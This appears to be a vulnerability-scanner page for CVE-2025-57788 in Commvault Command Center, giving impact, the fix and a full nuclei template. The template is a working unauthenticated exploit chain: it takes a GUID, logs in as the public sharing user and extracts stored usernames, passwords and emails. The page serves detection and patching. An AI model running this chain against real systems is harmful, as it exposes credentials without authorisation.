Commvault Unauthenticated Password Disclosure (WT-2025-0047)

mediumseverity

7.8%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered in Commvault before 11.36.60. A vulnerability in a known login mechanism allows unauthenticated attackers to execute API calls without requiring user credentials. RBAC helps limit the exposure but does not eliminate risk.

Impact

Unauthenticated attackers can exploit the public sharing login mechanism to access API endpoints and retrieve sensitive user information including passwords.

Fix

Upgrade Commvault to version 11.36.60 or later that properly restricts API access and removes the vulnerable login mechanism.

How to confirm it

Send: GET /commandcenter/publicLink.do
Positive when: contains "cv-gorkha"
Send: POST /commandcenter/api/Login
Positive when: contains "_+_PublicSharingUser_" and "Public Sharing User" and "token"
Send: GET /commandcenter/RestServlet/Database/GetUmUserById/1
Positive when: status_code == 200 and contains_all(body, 'login','email','password','datePasswordSet')

Run it with nuclei: nuclei -id CVE-2025-57788 -u <target>

The full check

id: CVE-2025-57788

info:
  name: Commvault Unauthenticated Password Disclosure (WT-2025-0047)
  author: DhiyaneshDK,iamnoooob,pdresearch,watchtowr
  severity: medium
  description: |
    An issue was discovered in Commvault before 11.36.60. A vulnerability in a known login mechanism allows unauthenticated attackers to execute API calls without requiring user credentials. RBAC helps limit the exposure but does not eliminate risk.
  impact: |
    Unauthenticated attackers can exploit the public sharing login mechanism to access API endpoints and retrieve sensitive user information including passwords.
  remediation: |
    Upgrade Commvault to version 11.36.60 or later that properly restricts API access and removes the vulnerable login mechanism.
  reference:
    - https://labs.watchtowr.com/guess-who-would-be-stupid-enough-to-rob-the-same-vault-twice-pre-auth-rce-chains-in-commvault/
    - https://documentation.commvault.com/securityadvisories/CV_2025_08_3.html
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-542502280
  tags: cve,cve2025,commandcenter,commvault,unauth,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /commandcenter/publicLink.do HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: guid
        group: 1
        regex:
          - 'cv-gorkha\\":\\"(.*?)\\"'
        internal: true

    matchers:
      - type: word
        part: body
        words:
          - 'cv-gorkha'
        internal: true

  - raw:
      - |
        POST /commandcenter/api/Login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json;charset=UTF-8

        {
          "username": "_+_PublicSharingUser_",
          "password": "{{base64(guid)}}"
        }

    matchers:
      - type: word
        part: body
        words:
          - '_+_PublicSharingUser_'
          - 'Public Sharing User'
          - 'token'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: token
        group: 1
        regex:
          - '"token":"(.*?)"'
        internal: true

  - raw:
      - |
        GET /commandcenter/RestServlet/Database/GetUmUserById/1 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/xml
        Authtoken: {{token}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, 'login','email','password','datePasswordSet')
        condition: and

    extractors:
      - type: json
        part: body
        name: password
        json:
          - ".password?"
        internal: true

      - type: json
        part: body
        name: username
        json:
          - ".login?"
        internal: true

      - type: json
        part: body
        name: email
        json:
          - ".email?"
        internal: true

      - type: dsl
        dsl:
          - '"username: " + username + " password:" + password + " email: " + email'

References

Use this check only on systems you are authorised to test. Where the data comes from